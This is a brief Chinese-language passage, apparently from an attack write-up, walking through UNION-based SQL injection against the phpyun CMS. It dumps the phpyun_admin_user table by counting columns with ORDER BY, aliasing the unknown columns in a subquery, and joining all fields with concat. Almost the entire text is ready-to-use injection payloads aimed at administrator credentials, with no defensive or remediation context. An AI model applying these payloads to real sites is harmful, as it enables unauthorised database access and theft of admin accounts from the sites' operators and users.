随便select两个字段:
- SELECT id,name FROM `phpyun_description`where id = 1 union select 1,2 from (select * from phpyun_admin_user order by 1)a
然后我们需要猜phpyun_admin_user的列数<通过order by来确定>
- SELECT id,name FROM `phpyun_description`where id = 1 union select 1,2 from (select * from phpyun_admin_user order by 6)a
- select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user
最后将其拼接起来:
- SELECT id,name FROM `phpyun_description`where id = 1 and 1=2 union select a_3,a_4 from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user)a
既然是mysql,可以利用concat将所有一起显示,就不需要一个个测试到底是那一列了
- SELECT id,name FROM `phpyun_description`where id = 1 and 1=2 union select 1,concat(a_1,0x23,a_2,0x23,a_3,0x23,a_4,0x23,a_5,0x23,a_6) from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user)